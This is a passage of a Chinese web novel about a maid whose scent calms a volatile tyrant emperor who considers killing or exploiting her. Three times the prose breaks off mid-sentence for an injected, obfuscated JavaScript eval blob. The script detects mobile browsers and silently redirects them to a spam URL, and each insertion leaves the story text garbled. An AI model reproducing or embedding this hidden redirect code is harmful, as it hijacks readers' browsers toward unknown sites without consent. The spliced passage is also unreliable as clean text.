宋迎被熏得头晕目眩,喉咙口一阵发痒。 “咳!咳咳咳——” 她咳得眼泪都要出来了。 过了好一阵子,宋迎才稍稍适应了这股脂粉气。 她刚才在万春殿,永昭帝的反应已经印证了她的猜想。 ——屏住呼吸之后,她对他精神疏导的效果会大打折扣。 那么,现在这个充满异香的房间,又是什么新花样? 是想看看浓香是否会掩盖她身上的气息,还是想测试不同气味环境下,精神疏导效果的稳定性? 宋迎打算一点点试探出永昭帝的底线,也趁此机会,摸清自己身上气息的规律。 这回,她打算短促地呼吸着,看看这种变量下,永昭帝又会是什么反应。 她跪坐在门前,静静地等着永昭帝的到来。 * 西偏殿外。 任何浓郁熏香,都能轻易激起永昭帝心底躁欲。 这一点,他心知肚明。 所以整个皇宫,都明令禁止使用任何香氛熏料。 西偏殿内的特制香料,还是他下令,让人快马加鞭从宫外秘密运进。 润德公公自然晓得皇帝要做什么。 他只是站在殿外,便已然闻见了香味。 自然,他也知道陛下此举的凶险,无异于用自己性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811263|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命博弈! 他小心翼翼地掀了掀眼皮,却见永昭帝神色如常,并无半分暴躁之态。 永昭帝默默合上双眼。 鼻端涌入的,是从未有过的脂粉香。 若是以前,这般香气只会让他失控发狂。 可今日,他能感知到,这股脂粉气正渗入他体内,试图勾醒骨血里的狂躁。 凝神细辨,浓稠之中,混入了一缕清冽。 那缕清冽冲淡了甜腻,压制了躁欲,瞬间平息了盘踞心头的煎熬。 永昭帝缓缓地,吐出一口气。 烦躁仍在,却不是那种让他失去理智的狂暴。 香依旧是那香,他……居然能忍受了。 不是强忍,而是被安抚后的平静。 纵然后续还筹谋了诸多,但此时的一切,已经足够让他明白—— 是这个人本身的存在,安抚住了他。 可这何其荒谬! 又实在是太过诡异! 这种能力竟然依附血肉之躯…… 那他,又应该如何掌控? 永昭帝眸色沉了沉,无法掌控便意味着变数。 若她心怀叵测,又或者被人挟制利用…… “宣,太医院院正。” 永昭帝声音陡然转厉,说罢便转身离去,没朝西偏殿再看一眼。 眼下,只能寄望于太医院那群老家伙。 他要他们查清这个宋迎究竟是何体质,这天下间,到底去哪找出第二个这样的人来! 整个太医院倾巢而出,将宋迎围得水泄不通。 直至黄昏,张院正才到了万春殿殿前。 “张院正,陛下宣您觐见。” 张院正闻言,双腿一软,差点没跪下。 万春殿?那便是润德公公这等御前大监,若无陛下明确传召,也只能在殿外躬身伺候啊! 他区区一太医院院正,何德何能…… “公公,这、这怕是不合规矩……” 润德公公宽慰道:“放心。陛下有旨,您只管进去便是。” 话虽如此,张院正那颗七上八下的心却丝毫没有放下。 午时,陛下突然传召,命他率领太医院所有太医,为一女子诊脉,只说其体质奇特。 可他们一群人围着那姑娘,望闻问切,足足折腾了近两个时辰,却百思不得其解。 那女子脉象平和有力,气血充盈,脾胃功能更是好得令人称奇,别说是什么疑难杂症了,便是寻常小病小痛的迹象也无。 若真有什么奇特,至少也该显露出些许异于常人的症状吧? 踏入万春殿内,张院正躬身垂首,将宋迎的脉案体征,细细禀报。 永昭帝耐着性子听完了一长串冗余空洞的禀报。 听到最后,脑海中只剩下“身体康健”、“体质平和”、“脾胃绝佳”这些字眼。 这无异于在焦躁不堪的心头,又添了把柴! 其实,自西偏殿而归,永昭帝已经起了杀心。 能治好纠缠多年的怪病固然重要,但——他也绝不做饮鸠止渴的蠢事。 既然是药,就该有药的用法,而不是一个活生生的人。 是人,便是一个随时能反噬自身的把柄,往后岂不是日日惶恐! 与其未来受制于人,不如趁现在,由他亲手抹去,永绝后患! 可……就这么毁掉上天垂怜的良药,永昭帝又实在不舍。 杀与留。 利与弊。 突然,他想到了一条两全其美的法子。 “爱卿,这世间万物,草木可入药,飞禽走兽亦可入药。” 永昭帝目光幽沉,透着令人毛骨悚然的寒意,“那么……以活人为药引,又当如何炮制?” 8. 第 8 章 以活人为药引,张院正行医数载,何曾听闻如此有悖人伦的法子? 就算听说过……家中幼女再过两年便要及笄,他为父为医,又如何能忍心,又如何能下手? 扑通一声,双膝跪地,张院正声音发颤道:“陛下息怒!自古医书典籍浩如烟海,此等秘闻多半荒诞,当不得真啊……” 永昭帝眸色更沉,医书典籍年代久远,确实难辨真伪。 更何况,这世间再难找出第二人供他反复验证。 此法不成,倘若……不以身为药,而是让她诞下子嗣呢? “那依爱卿之见,”永昭帝话锋一转,“若非药引,而是令其繁衍生育,血脉传承之法,可否奏效?” 张院正哪敢担保,龙体安康事关国本,他若是说一个“能”字,将来无效,便是欺君之罪! 他不敢多言,额头一下下磕在金砖之上。 “回、回陛下!血脉相承……玄之又玄,非人力所能掌控,臣、臣愚钝,实在不敢妄言,求陛下明鉴呐!” 期望再一次落空,永昭帝冷冷睨着抖如糠筛的张院正,心中烦躁愈发汹涌,几乎要冲垮理智! 这也不能保证,那也不敢断言,他养着这些太医,究竟有何用处! “废物!”他声线骤冷,带着厌弃之意,“滚!” 话音刚毕,张院正如蒙大赦,立马连滚带爬地叩首谢恩。 殿内,永昭帝独自一人来回踱步。 此女犹如悬顶之剑,一日不除,寝食难安。 可若就此毁去…… 就此毁去,便再无转圜余地。 独特且唯一的诱惑力着实之大,永昭帝纠结地来回踱了数步。 杀,还是留? 突然,他脚步猛地顿住,嘴角向上勾了勾。 是啊,既然杀之可惜,留之危险,那为何不让这把剑发挥它最大的价值? 与其防备,不如以她为饵,主动诱敌,一并杀之才痛快! 思及此,永昭帝扬声决断: “润德,传朕旨意,宋氏暂居东偏殿。” * 宋迎跪在西偏殿许久,心里默默将永昭帝从头到脚问候了八百遍。 没等到正主,倒是等来一帮太医。 他们一进殿,便将她团团围住。 那阵仗,像是要当场解剖她。 宋迎感觉自己就是砧板上的鱼,任人宰割。 双手摊开,这个诊脉,那个号脉。 “啊——张嘴。” 还有看舌苔的。 再然后,眼皮也被人掀了好几遍。 混乱之中,还有一个小太医拿着本本,对她嘘寒问暖的。 “姑娘,敢问平日里都喜好什么饮食?偏爱甜口,还是咸鲜?” “都行吧……没什么忌口。” “是嘛姑娘胃口真好,那一般何时就寝,又是何时起身呢?” “困了便睡,睡么……定要睡到自然醒才会起身。” “自然醒?”小太医惊呼,露出羡慕神情,“那敢问姑娘可有不适之症?” 宋迎:…… 她现在就很不适!非常不适! 她都要饿死了!真是两辈子都没吃上这种苦! 从早上折腾到现在,她连口热茶都没喝上。 纸片人纸片人,书里的人物该不会不要吃饭,是饿成纸片人的吧! 只听小太医一边观察着她,一边记录着,嘴巴里还念念有词: “唔……观其面色,略显萎靡,面色欠佳……” 宋迎听不下去了,抬手拍了拍他胳膊,委婉提道:“这位太医大人……我萎靡不振,只是因为我饿了。” 小太医笔下一顿,抬眸瞧了她半晌。 宋迎与其对视,眨了眨眼,希望他能明白自己的意思,命人送些吃食来。 小太医恍然大悟地点了点头,随即又奋笔疾书起来:“脾胃绝佳,消化功能异于常人……” 宋迎:………… 服了,这满皇宫里的人,怎么都跟那个反派一样脑回路清奇! 宋迎叹了口气,这帮人只是在执行上面的命令,她只是一个样本罢了。 至于她饿不饿,渴不渴,显然不在他们的考核范围之内。 她认命垂头,乖乖让他们继续研究。 终于,一阵悉悉索索的讨论声之后,这群糟老头子们总算走了。 宋迎一头栽在了面前桌上,感觉自己像是被拆吃入腹的骨头渣子,浑身无力。 她趴在桌子上闭目养神,企图用昏睡逃过饥饿感。 宋迎都要把自己催眠成一朵云了,头顶上方,突然幽幽传来几声笑意。 “宋迎姑娘,莫要再睡了,醒醒神,随咱家来吧。” 是润德公公! 宋迎猛地抬起头,一把就拽住润德公公的袖子,低低地,哀求道:“润德公公,求求您,能不能……能不能先给我一口吃的?什么都行,水也行啊。” 润德公公侧过头,瞧见那可怜巴巴的小眼神,又笑了几声。 他招了招手,不远处的小太监立刻快步上前。 润德公公在他耳边低语了几句,小太监领命退下,脚步匆匆离开了。 继而,润德公公转过头,面上依旧温和带笑,对着宋迎说道:“好了,宋迎姑娘,走吧,随咱家去看看陛下为你安排的居所。” “如今,你可是万春殿的侍药宫女。” 宋迎闻言,眼睛倏地一亮,麻利起身跟上。 她这是顺利拿到了offer?刚刚那群太医,其实是在给她做入职体检,润德公公这是来做岗前培训了? 七拐八绕之后,她发现,他们又回到了她最初被带来的那间……屋子。 踏入房间,宋迎不免瞪大了双眼。 方才家具上还积着薄灰,此刻被打扫得一尘不染。那架山水花鸟屏,已经换成了百花争艳的苏绣屏风。 “公公,这、这是……” 宋迎看着焕然一新的屋子,心中不免诧异,她要住在大反派隔壁了?! “宋迎姑娘,万春殿不比别处,规矩尤为森严。陛下喜静,姑娘日后当差,务必谨言慎行,非陛下问话,不得擅自开口。” 润德公公顿了顿,继续说道:“若陛下有所吩咐,姑娘听命行事便可。倘若没有旁的,也不必多言,行礼告退即可。” “切记,多看,多听,少说。” 润德公公开始上“职场生存第一课”了。 宋迎垂首在旁,洗耳恭听。看这架势,她以后就是御前宫女了,那侍药一说,又从何而来呢? “陛下起居自有定例,姑娘无须操心。明日起,只需在旁侍立即可。若无吩咐,切不可随意走动,更不可擅自触碰殿内任何陈设。” “至于姑娘的饮食衣着等日常用度,内庭自会送来,姑娘安心当差便是,不必为此费心。” 宋迎在心底默默记下这些规矩。 听意思,她的主要工作内容就是:当个背景板,充其量就是个万春殿的摆件。 人形摆件好啊,她懒得动弹。 工作包吃包住,就是有些生命危险,但……似乎还能接受? 说话间,刚才的小太监去而复返,端着托盘踏入屋门。 宋迎循着香味转了转脖子,只见托盘之上,盛着一碗鸡汤泡饭,面上还漂浮着几点油花。 润德公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811264|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公示意小太监将其置于桌上。 “眼下并非用膳时辰,膳房只备下这些,万春殿的饮食一向清淡,姑娘先将就着用些。” “咱家就不叨扰姑娘了。” “多谢公公!公公慢走!” 宋迎感动得都快哭了。 行至门口的润德公公又施施然转过身,“陛下……龙体偶有不适,姑娘若能安抚,便是大功一件。” 宋迎满心满眼全是香喷喷的汤饭,小鸡啄米似的胡乱点了点头。 待润德公公脚步声彻底远去,宋迎立马扑到桌前。 舀起一大勺,送入口中,吃得腮帮子鼓囊囊。 见了碗底,她长舒一口气。 啊,终于活过来了。 用完膳,宋迎容易犯困。 方才润德公公说,明日起才当差,那今日应该算带薪休假吧。 她迷迷糊糊地想着,换了身舒服寝衣,打算好好补个觉。 刚一沾到枕头边,便直接昏死过去。 * 翌日。 宋迎强打精神,早早垂手立于殿前,正逢润德公公从万春殿里出来。 “进去吧,陛下刚用完早膳。” “是,润德公公。” 她踏入万春殿,谨记教诲,不敢乱瞧,迅速找了个工位站着。 ——离永昭帝最近的墙角。 站在那里最不容易被注意到,站累了还能悄咪咪靠墙,摸个鱼。 宋迎默默贴在墙角,努力降低自己存在感。 现在,开启新地图新身份,大腿么算是摸到点腿毛,苟命计划完成阶段性目标。 但是,光傻乎乎地苟着可不行,咸鱼也要有咸鱼的智慧! 躺尸躺得不够安全,也是会翻车,惹上大麻烦的! 宋迎看似眼观鼻鼻观心,实际上,那双眼睛滴溜溜地观察着。 永昭帝坐在御案后,埋首批阅奏折。 他神情专注,偶尔会微微蹙起眉头。 宋迎用余光扫了一圈。 明明是白日,四下却连一扇窗都未开,空气沉闷得几乎凝滞。 她知道了,越是精神力强大的哨兵,五官越是敏感,对刺激的承受力也越低。 永昭帝,畏光。 但这也给她展现自我价值的机会。 算算时辰差不多了。 宋迎悄悄挪至窗边,抬手开了条窗缝。 永昭帝倏然抬起眼,黑眸携着凛冽寒意,直直望向宋迎。 宋迎身子一僵,搭在窗棂上的手还没来得及撤回。 帝王目光在她身上梭巡片刻,眉峰微动,淡淡地移开了眼。 宋迎吁了口气,将那扇窗缓缓推开得更大了一些。 刹那间,凉爽秋风肆意涌入。 宋迎感觉,永昭帝眉头渐渐舒展,周身那股低气压,似乎被清风冲淡了不少。 有戏,看来适当的主动是可以的。 润德公公教的是职场老实人小技巧,她这种想日后偷懒的,肯定要心思活络些了。 尝到甜头,宋迎胆子大了一些。 又过了片刻,她瞥见朱笔微顿的间隙,永昭帝无意识地抿了抿薄唇。 御案旁有茶水,看起来有些冷了。 宋迎这根大腿能不能抱的稳,就看你自己了! 她暗暗给自己鼓劲,轻手轻脚走到御案旁,低声道:“陛下,茶凉了,奴婢为您换盏热的。” 永昭帝依旧埋首于奏折,并未出声。 不说话……就是默许了? 手指探出,刚刚触及杯盏的边缘,宋迎正准备将其端起—— 一只骨节分明的大手,猛地攥住了她的手腕! 9. 第 9 章 杯盏脱手,茶水大半泼洒在御案的奏折上。 墨迹迅速晕染开来,转眼便模糊一片。 腕骨处骤然传来剧痛,似是要被生生捏碎。 惊惧之下,宋迎疼得倒抽一口凉气,泪水生理性地涌上眼眶,又被她死死咬着唇瓣,硬生生逼了回去。 “润德没有教过你,只需侍立在侧便可吗?” 帝王手上的力道又加重了几分,眸中翻涌的戒备与震怒,全都被隐于杀意之下。 那眼神仿佛要将宋迎从里到外瞧个透彻。 她细密睫羽颤抖着,泄出惶恐。 “润德公公……确实提点过奴婢,”宋迎下意识想往后缩,可手腕上力道骤然收紧,将她往前一带—— 宋迎整个人差点撞进永昭帝怀里,鼻尖堪堪擦过胸膛! 她强忍着痛楚,急急辩解道: “可……可奴婢身为侍药宫女,近日陛下龙体康健,并无汤药侍奉。奴婢想着,总得做些力所能及的琐事,为陛下分忧……” 她当真不知自己体质特殊? 永昭帝狐疑眯起双眸,那便是……被送来刺探御前机密的细作? 他眸光微转,视线掠过桌上那片狼藉。 若她日日近身侍奉,自己能防得了一时,岂能防得了一世?总有疏忽大意的时候。 一抹狠厉划过眼底。 不如现在—— 斩草除根,永绝后患! 浓烈的杀意袭来,他五指猛然收拢,在皙白腕间烙下道道红痕。 眼看便要痛下杀手,可宋迎身上那股气息,再次霸道地钻入他的鼻息。 先前混杂的墨香早已消弭,血腥气也被涤荡干净。 此刻,宋迎身上的气息纯净到不可思议,又馥郁到了极致。 永昭帝垂眸,视线落在那截脖颈上,喉结控制不住地滚动了一下,竟鬼使神差般,微微低下了头。 理智尚在拉扯,让他没有做出更出格的举动。 即便如此,他偏过视线,便能瞥见她小巧耳廓,莹白如玉,边缘透着浅淡粉晕。 鼻翼微扩,他闭上了眼,深深地吸了口气。 那香气,混杂着少女微微急促的呼吸,如饮醉酒,将他心头郁结的躁戾之气,压下了几分。 迷醉之中,与汹涌杀意一同翻腾起来的,还有恐惧与屈辱—— 被这莫名气息左右的恐惧。 被自己身体本能背叛的屈辱。 他,居然在恐惧! 恐惧这个女人一旦死去,他将再度回到癫狂混乱之中! 这念头一起,杀意随之减弱,而那恐惧却向上攀涨,愈发强烈。 强烈到……他的手指在发抖。 一个品尝过世间美味的人,又怎会甘心重新回到吃糠咽菜的日子? 他可以蔑视纲常,可以践踏规则,却终究敌不过内心深处的欲望,更敌不过趋利避害的人性。 宋迎只觉得整个手腕都要断了! 剧痛之下,鸡皮疙瘩从手臂一路蔓延到了后颈。后背冷汗涔涔,倒不全是怕的—— 实在是疼得叫也叫不出声,只能将呜咽咽回肚里。 眼眶早就红透。 倏地,手腕力道一松。 宋迎骤然失了支撑,一个没稳住,整个人重重地摔在了地上。 她下意识抬手,手腕上,五道青紫交错的指痕狰狞可怖,已经微微有些肿了。 冷静! 冷静,宋迎! 你现在可是在鬼门关反复横跳! 方才,永昭帝那股杀意就差直接蹦她脸上了! 可……可为什么,那股凛冽杀气,又突兀退却了? 宋迎想不明白这帝王心思。 按照原书设定,反派本就乖戾暴虐,她一个小小炮灰,哪有本事去揣摩这个? 杀意虽退,但压迫感依旧笼罩在头顶,让她呼吸困难。 还是想想眼前吧。 她调整了下呼吸,忙磕头请罪:“陛下息怒!奴婢罪该万死,只是,奴婢……” “只是见万春殿终日不见光,虽知陛下喜静,不喜天光,但长此以往,殿内空气沉闷,恐对陛下心绪不利。” “奴婢斗胆,想着……若是能将窗户改成支摘窗的样式,从下往上开启,既能挡住大部分日光,又能透风透气。窗纸亦可选用颜色深些的油纸,光线也会柔和许多。” 这一长串话说得又急又快,生怕说慢了半个字,自己这条小命就真的交代在这了。 永昭帝静静地听着,面无表情,看不出喜怒。 半晌,才从齿间泄出一声轻哼:“巧言令色。” 宋迎:…… 丫的,像极了是or否,选了or的奇葩老板。 老板…… 宋迎顺着这个品了下去,刚才他反应这么大,是不是怕她看了什么机密文件啊? 宋迎心底默默翻了个白眼。 面上却满脸堆笑道:“陛下圣明!奴婢此番都是为了陛下考虑!” “至于茶水……陛下日理万机,奴婢若时时添换,怕是扰了陛下清净。” “奴婢想着,或许可以在御案旁添个小炭炉,上面置银壶,温着茶水,陛下随时可取热茶,便无需奴婢频繁打扰了。” 永昭帝虽然不知道宋迎到底打的什么主意,但狐狸尾巴都露出来了,哪有不顺着摸的道理? 目光自然地在宋迎身上打了转,“允。” 宋迎闻言,连忙磕了个头,爬回小角落。 看来,主动点除了容易踩到雷区,但只要踩得准,偶尔也能搏一搏! 像殿内陈设改造的大工程,宋迎不敢直接上手。 她瞅准快下班的空档,特意跟润德公公提了提。 在她看来,润德公公是她的直属领导。 永昭帝是脾气多变的甲方爸爸。 而她就是夹在领导和甲方之间的炮灰冤种。 润德公公听了宋迎转述的圣意,面上依旧挂着不见眼的笑容。 “宋迎姑娘有心了,既然是陛下的意思,自然是最要紧的。” 润德公公瞧着年过半百,笑起来眼角褶子不显老态,倒是精神矍铄得很。 宋迎打算刷刷他的好感,为以后摸鱼打好基础。 接下来的日子按部就班。 每日卯时不到就得爬起来,一直熬到戌时过后才能收工。 这早八晚八十二小时工作制,累得宋迎快要原地发疯了! 虽然没什么正经工作内容,她每日缩在墙角,一站就是一整天。 但她全年无休啊!一天假都没有! 她就是个御案旁的花瓶,杵在那儿,谁管你这花瓶是累了还是渴了,需不需要挪个地方透透气。 不光如此,她的活动范围也被严格限制。 除了万春殿主殿和她居住的东偏殿,其他地方一概不许踏足。 这跟坐牢有什么区别?! 衣服更是刻板,内庭按季度送来的宫装,款式固定,颜色单调。 眼下秋季,她便拥有了五件一模一样的粉绿宫装。 这不是囚服是什么? 每日换着穿,跟复制黏贴似的。 偶尔想改善下伙食,不行,每日三餐皆是由膳房统一配送。 宋迎只能舔着脸去求润德公公。 幸好润德公公是个大好人,对她这点请求也乐于帮忙。 但老这么麻烦人家也不是事啊。 不行,她要好好改善一下自己的工作环境和生活待遇! * 酉时初刻,用罢晚膳。 光线寸寸黯淡,殿外薄暮冥冥,殿内陈设轮廓逐渐模糊,白日辉煌褪尽,沉为一片青黛暮色。 御案那盏宫灯,晕开暖黄。 这几天宋迎侍立在旁,也算摸清了永昭帝的日程。 这位帝王是不上朝的,一应奏本皆由润德公公亲自抱至万春殿,由他御笔亲批。 伏案批阅,一坐便是一整天,从白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811265|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天直至天黑。 真是个卷王。 宋迎垂手立在殿角,小腿站得发酸。 趁着殿内昏暗难辨,她悄悄掩于柱后,坐下寻个舒服的姿势,打个盹。 御案后,朱笔一顿。 永昭帝无声抬眸,目光精准落向殿角那团小小影子上。 宋迎双手抱膝,脑袋歪着抵在墙角,呼吸轻浅,大概是睡熟了。 自打第一日被他警告过,她便再未逾越,多数时候都老老实实待着,存在感稀薄。 只是,他却没办法忽略。 偶尔,他会瞥见她踮踮脚尖;或是侧过脸,眸光失焦地凝望着窗外。 若是恰有飞鸟掠过,她眼眸倏然一亮,目光追着而去。 习惯了么? 他薄唇微抿,这些日子,他竟然有些习惯了殿内有这样一道身影。 不,或许习惯二字,太过轻浅,更像是一种……贪恋的渴求。 贪恋她身上干净恬淡的气息。 只要感知她的存在,那股萦绕不散的焦躁纷乱,便能顷刻平复,寻得片刻安宁。 他已经记不清多久,不曾这般掌控自己的心神了。 不被嘈杂所左右,连带着,批阅奏章的思绪也格外清晰,效率也提升不少。 然而,这两天,他明显察觉到了她的变化。 她好像心情郁结,气息变得混乱不堪,不再澄澈,不再馥郁。 而他,也再次被熟悉的躁郁所裹挟。 譬如现在—— 殿内烛火摇曳,蜡油的浊气混着烟味,钻入鼻腔,被无限放大,搅得他心烦意乱。 ……想把手里的笔折了。 “啪嗒” 朱笔被重重掷在御案上。 他抬眸,望向墙角酣睡身影,一股无名火夹杂着憋闷涌上心头。 这该死的奴婢!竟敢扰他清净! 他想将她拎起来,好好质问到底哪里不舒心?! 可话到嘴边,却滞住了—— 他……忘记她叫什么了。 胸口更堵了。 说时迟那时快,宋迎猛地一个点头,额头磕在墙上,瞬间惊醒。 迷糊睁眼,一抬头,直直与上首的永昭帝四目相对。 那双幽沉凤眸,正一瞬不瞬地盯着她,也不知道盯了多久。 宋迎魂都快吓飞了,顾不得疼痛,向前膝行几步,请罪道: “奴婢罪该万死!求、求陛下饶命!” 完了完了完了,打工人摸鱼被抓包,还是被暴君款老板当场抓包! 不对啊……他若真要杀我,方才就该直接发落了,何必等到现在? 他早就发现我了,却一直没动静…… 那是不是间接说明她之前当背景板,当得还挺成功? 宋迎悄悄瞥了眼那张王八脸。 她平时当背景板没什么机会说话…… 这可是实施温水煮王八的好时机啊! 下一瞬,宋迎眼中蓄满泪水,开始卖惨: “陛下……” 她这一声喊得,成功让永昭帝蹙起的眉头又加深几分。 为了双休,宋迎豁出去了,哭得抽抽噎噎: “奴婢……奴婢该死!奴婢在御前如此失态,万死莫赎!可、可奴婢……也是实在撑不住了啊陛下!” 她抬起朦胧泪眼,“奴、奴婢连日跟着陛下,不敢有丝毫懈怠……真的是太累了,眼皮都快睁不开了……就想着,就想着能稍微眯一会儿……奴婢再也不敢了……” 永昭帝冷眼觑着,心底那股压了两日的戾气,被她这副哭态堵得不上不下。 这女人,果然是个天大的麻烦! 不仅搅得他心神不宁,如今还敢在他面前装腔作势! 龙目微眯,他刚想斥责,可方才的疑惑又转了回来。 “你,” 他终于开口,声音低沉冷冽,“叫什么名字?” 哭声骤停。 宋迎:啊? 10. 第 10 章 “回陛下,奴婢宋迎。迎,是辞旧迎新的迎。” 玩味目光在她脸上打了个转,声音懒懒响起:“是阿谀逢迎的迎?” 宋迎:…………丫的。 就知道你狗嘴里吐不出象牙!搞阴阳怪气是吧,你等着。 腹诽归腹诽,她面上依旧恭顺,“奴婢名字确有逢迎陛下的美誉!” 永昭帝挑了挑眉,眸中兴味更浓: “……宋迎。” 她的名字从舌尖滚过。 “正是奴婢,”宋迎见他唇角那点笑意,胆子又大了几分,膝盖往前挪了挪。 她仰起巴掌大的小脸,水汪汪的杏眼眨巴着,声音放得又软又糯: “奴婢连日侍奉陛下左右,实在是精力不济。可否恳请陛下,准允奴婢……每六日,能休沐一日?” “奴婢养足了精神,才能更好地为陛下分忧解劳啊!” 心情略有霁色的永昭帝,一听这话,唇边弧度霎时凝固,眉头也跟着蹙了起来。 小小宫婢,竟敢得寸进尺?! 这两日她当值,偷懒次数已是日渐增多,朕不过是睁一只眼闭一只眼,她倒真把自己当回事了?! 他深吸一口气,然而,鼻腔中充斥的,依旧是那股令他烦躁的刺鼻气味。 蜡烛燃烧升腾的呛人烟味,御案上纸张与朱砂墨混合的味道,不止,还有其他的气味……全部混杂一处。 像细小毛刺不断刺激着神经,让他心底烦躁愈演愈烈。 差事当得稀烂,还敢厚着脸皮要假期?做梦呢! 宋迎一瞥见永昭帝那张瞬间黑如锅底的俊脸,心下便已凉了七八分。 啧,果然是封建王朝的资本家,连996的大饼都不给画。 还是上辈子的基地好,基本的福利待遇是有保障的,哪像现在,休个假都得冒着掉脑袋的风险! 宋迎暗叹一声,认命垂头,打算缩回角落,继续当她的背景板。 “只此……明天一日。” 永昭帝下意识开口,连他自己都吓了一跳。 他何时变得如此……心软了? 宋迎:! 这是PUA吧,打个巴掌给个枣,这算经典套路了。 宋迎内心小人疯狂吐槽,但身体却比脑子更诚实。 她噙着泪光的杏眸倏地一亮。 “谢陛下隆恩!” 磕头的动作,标准有力。 突然,久违的气息自她身上弥漫开来,再次萦绕而上,钻入鼻息,淌进心田。 盘踞两日的躁郁,在安抚下,缓缓平息下去。 恰似久旱逢甘霖,紧绷的神经,也随之舒缓。 果然如此…… 她的情绪会影响他! 永昭帝又惊又怒,堂堂天子,不仅要被宫婢掣肘,如今还要被宫婢的情绪所左右?! 另一边,身体肮脏的本能却又让他无法忽视。 他正在贪婪地吸纳着这股让他身心舒畅的气息。 沉溺其中的感觉,让他既羞愤,又……无法抗拒。 也罢。 他稍稍低下头,又深吸了一口令人着迷的气息。 心中天平悄然偏移—— 既然已经破例,不然将计就计,正好瞧瞧她葫芦里,到底卖的什么药。 她若当真是安插进宫的细作,明日休沐,便是她与外界传递消息的最佳时机! 届时,朕便可顺藤摸瓜,将他们一网打尽! 思及此,永昭帝只觉自己算无遗策。 鼻端那股清甜馥郁的气息,似乎也变得愈发沁人心脾。 隔天,被恩准休沐的宋迎,格外珍惜这来之不易的假期。 被褥蒙头,睡得那叫一个天昏地暗,口水都快流了一枕头。 她一觉睡到日上三竿,连早膳都错过了。 她压根没想过,自己正被某位帝王派人盯得死死的。 于是乎—— 宋迎是睡爽了,可苦了永昭帝了。 眼瞅着时辰一点点过去,从清晨到晌午,再到日暮西斜…… 隐卫传回来的消息,翻来覆去就那么几个字: “宋迎,仍在酣睡。” “宋迎,翻了个身,继续酣睡。” “宋迎,似乎说了句梦话,内容不详,但仍在酣睡。” 别说引蛇出洞了,连条蚯蚓都没引出来! 永昭帝猛地抬手,御案上的奏章被尽数扫落在地。 殿门紧闭,窗户深锁,一丝光亮都透不进来。 颀长身影晃了晃,他踉跄跌坐在床榻之上,双手撑着膝盖,大口大口地喘息着。 他努力回忆着,搜寻着那抹能带来片刻安宁的气息。 喉结因渴望而剧烈滑动。 唇瓣翕动,他忍不住咽下了一口唾沫。 倏地,他猛地睁开双眼! 黑暗中,那双原本漆黑的眼瞳,竟然闪烁起来。 ——瞳孔的形状在瞬间拉长,化为两道淡金色竖瞳! 那双竖瞳充满了渴望,但仅仅一息之后,又变回了乌黑眼珠,接着再次转化…… 如此反复,仿佛有什么东西在他体内激烈冲撞,试图挣脱束缚。 “嗬……嗬嗬……” 他发出野兽般的粗重喘息,五指插进长发,手背上青筋狰狞暴起。 胸膛起伏着,虚妄的甘泉非但没能遏制住体内的狂躁。 那股源自血脉深处的暴动,却愈发澎拜,几欲要将他理智吞噬! “呃啊——!” 一声痛吟从他喉间逸出。 他好恨啊! 他好恨啊! 他好恨这样的自己啊! 牙关紧咬,嘶吼还是从齿缝中挤出。 他究竟是什么?!一个披着人皮的怪物吗?! 他活在这个世上,难道就是为了忍受这种生不如死的煎熬,永世不得安宁?! 人不像人,鬼不像鬼,他到底是什么,野兽吗?! 如今,这贼老天还嫌不够! 降下这么一个女人来牵制他,让他丑态毕露,让他痛不欲生?! 他算什么?!他老天爷脚下随意摆弄的一条狗吗?! 滔天怒火与屈辱感,啃噬着他的理智。 不! 不——! “朕绝不会让那些燕贼余孽如愿!也绝不会让老天如愿!朕的命运,只能由朕自己掌控!” 话音未落,一股劲力掌风自他掌心发出,轰向一旁的殿柱! “砰——” 金柱震颤,梁上尘埃簌簌落下。 殿内倏然炸开声闷响。 掌风肆虐边缘,宋迎安置在那的银壶,其壶盖直接被这股劲风猛地掀飞—— 哐当一声砸回桌面。 永昭帝那双妖异眼眸,霎时捕捉到这一突兀。 狂躁心神骤然一滞。 “宋迎……” 痛苦稍歇,对香气的渴望再次浮现。 期盼着、催促着、叫嚣着! 永昭帝的眼神在瞬间变得极度危险。 ……她到底是真蠢得无可救药,还是……城府深沉到连朕都看不透。 无论如何,此女……断不可留! 杀念攀至顶峰的刹那,身躯猛地一僵,不受控制地剧烈颤抖起来。 肌肉下,有什么东西一突一突地跳动着。 他甚至能感觉到,自己眼底那抹非人的金色,正在扩散,变得更加浓郁! 不……不行…… 他,暂时还离不开她。 或者说,他离不开她身上的气息。 永昭帝深吸一口气,强行压下翻腾气血。 与此同时,隔壁的东偏殿。 被吵醒的宋迎:?外面打雷了……还好今天不上班。 翻了身,继续睡。 * 翌日。 